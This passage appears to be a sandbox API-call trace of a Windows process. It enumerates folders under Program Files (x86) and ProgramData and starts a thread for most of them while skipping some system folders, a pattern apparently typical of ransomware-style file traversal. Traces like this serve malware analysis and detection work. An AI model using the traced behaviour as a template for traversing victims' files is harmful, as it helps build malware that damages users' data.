Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0085.563] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~2")) returned 1 [0085.563] wcscmp (_String1="Mozilla Maintenance Service", _String2=".") returned 1 [0085.563] wcscmp (_String1="Mozilla Maintenance Service", _String2="..") returned 1 [0085.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1bf0 [0085.563] wcscpy (in: _Dest=0x1b7c1bf0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.564] wcscat (in: _Dest=0x1b7c1bf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.564] wcscat (in: _Dest=0x1b7c1bf0, _Source="Mozilla Maintenance Service" | out: _Dest="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service" [0085.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1bf0) returned 1 [0085.564] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdda97b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda97b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0085.564] wcscmp (_String1="MSBuild", _String2=".") returned 1 [0085.564] wcscmp (_String1="MSBuild", _String2="..") returned 1 [0085.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82be00 [0085.564] wcscpy (in: _Dest=0x1b82be00, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.564] wcscat (in: _Dest=0x1b82be00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.564] wcscat (in: _Dest=0x1b82be00, _Source="MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0085.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82be00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0085.565] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdd98d1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd98d1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0085.565] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1 [0085.565] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1 [0085.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ceac0 [0085.565] wcscpy (in: _Dest=0x1b7ceac0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.565] wcscat (in: _Dest=0x1b7ceac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.565] wcscat (in: _Dest=0x1b7ceac0, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0085.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ceac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0085.565] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xdda97b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda97b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0085.565] wcscmp (_String1="Uninstall Information", _String2=".") returned 1 [0085.565] wcscmp (_String1="Uninstall Information", _String2="..") returned 1 [0085.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1bf0 [0085.566] wcscpy (in: _Dest=0x1b7c1bf0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.566] wcscat (in: _Dest=0x1b7c1bf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.566] wcscat (in: _Dest=0x1b7c1bf0, _Source="Uninstall Information" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0085.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0085.567] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda235220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda235220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0085.567] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0085.567] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0085.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b7ceb20 [0085.567] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.567] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.567] wcscat (in: _Dest=0x1b7ceb20, _Source="Windows Defender" | out: _Dest="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0085.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 [0085.567] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9ea8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0085.567] wcscmp (_String1="Windows Mail", _String2=".") returned 1 [0085.567] wcscmp (_String1="Windows Mail", _String2="..") returned 1 [0085.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82be50 [0085.567] wcscpy (in: _Dest=0x1b82be50, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.567] wcscat (in: _Dest=0x1b82be50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.567] wcscat (in: _Dest=0x1b82be50, _Source="Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0085.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82be50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0085.568] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddb09f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb09f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0085.568] wcscmp (_String1="Windows Media Player", _String2=".") returned 1 [0085.568] wcscmp (_String1="Windows Media Player", _String2="..") returned 1 [0085.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ceb20 [0085.568] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.568] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.568] wcscat (in: _Dest=0x1b7ceb20, _Source="Windows Media Player" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0085.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 [0085.568] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0085.568] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0085.568] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0085.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82bea0 [0085.568] wcscpy (in: _Dest=0x1b82bea0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.568] wcscat (in: _Dest=0x1b82bea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.568] wcscat (in: _Dest=0x1b82bea0, _Source="Windows NT" | out: _Dest="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0085.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0085.569] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddb7c380, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb7c380, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0085.569] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1 [0085.569] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1 [0085.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ceb20 [0085.569] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.569] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.569] wcscat (in: _Dest=0x1b7ceb20, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0085.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 [0085.569] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0085.569] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1 [0085.569] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1 [0085.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1c60 [0085.569] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.569] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.569] wcscat (in: _Dest=0x1b7c1c60, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0085.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 [0085.569] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddae3e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddae3e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0085.569] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1 [0085.569] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1 [0085.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ceb20 [0085.570] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.570] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.570] wcscat (in: _Dest=0x1b7ceb20, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0085.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 [0085.570] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddae3e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddae3e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0085.570] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f00) returned 1 [0085.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7ec0) returned 1 Thread: id = 93 os_tid = 0x648 [0085.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a450 [0085.582] wcscpy (in: _Dest=0x1b82a450, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.582] wcscat (in: _Dest=0x1b82a450, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.582] wcscat (in: _Dest=0x1b82a450, _Source="*" | out: _Dest="C:\\ProgramData\\*") returned="C:\\ProgramData\\*" [0085.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.582] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.582] wcscmp (_String1=".", _String2=".") returned 0 [0085.582] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.582] wcscmp (_String1="..", _String2=".") returned 1 [0085.582] wcscmp (_String1="..", _String2="..") returned 0 [0085.582] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0085.582] wcscmp (_String1="Adobe", _String2=".") returned 1 [0085.582] wcscmp (_String1="Adobe", _String2="..") returned 1 [0085.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7ec0 [0085.582] wcscpy (in: _Dest=0x1b7d7ec0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.582] wcscat (in: _Dest=0x1b7d7ec0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.582] wcscat (in: _Dest=0x1b7d7ec0, _Source="Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0085.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0085.583] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0085.583] wcscmp (_String1="Application Data", _String2=".") returned 1 [0085.583] wcscmp (_String1="Application Data", _String2="..") returned 1 [0085.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0085.583] wcscpy (in: _Dest=0x1b82bea0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.583] wcscat (in: _Dest=0x1b82bea0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.583] wcscat (in: _Dest=0x1b82bea0, _Source="Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0085.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0085.584] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0085.584] wcscmp (_String1="Desktop", _String2=".") returned 1 [0085.584] wcscmp (_String1="Desktop", _String2="..") returned 1 [0085.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d7f00 [0085.584] wcscpy (in: _Dest=0x1b7d7f00, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.584] wcscat (in: _Dest=0x1b7d7f00, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.584] wcscat (in: _Dest=0x1b7d7f00, _Source="Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0085.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0085.585] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0085.585] wcscmp (_String1="Documents", _String2=".") returned 1 [0085.585] wcscmp (_String1="Documents", _String2="..") returned 1 [0085.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7f80 [0085.585] wcscpy (in: _Dest=0x1b7d7f80, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.585] wcscat (in: _Dest=0x1b7d7f80, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.585] wcscat (in: _Dest=0x1b7d7f80, _Source="Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0085.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0085.586] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0085.586] wcscmp (_String1="Favorites", _String2=".") returned 1 [0085.586] wcscmp (_String1="Favorites", _String2="..") returned 1 [0085.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7fc0 [0085.586] wcscpy (in: _Dest=0x1b7d7fc0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.586] wcscat (in: _Dest=0x1b7d7fc0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.586] wcscat (in: _Dest=0x1b7d7fc0, _Source="Favorites" | out: _Dest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0085.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0085.587] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.587] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0085.587] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0085.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8000 [0085.587] wcscpy (in: _Dest=0x1b7d8000, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.587] wcscat (in: _Dest=0x1b7d8000, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.587] wcscat (in: _Dest=0x1b7d8000, _Source="Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.587] CreateThread (in: 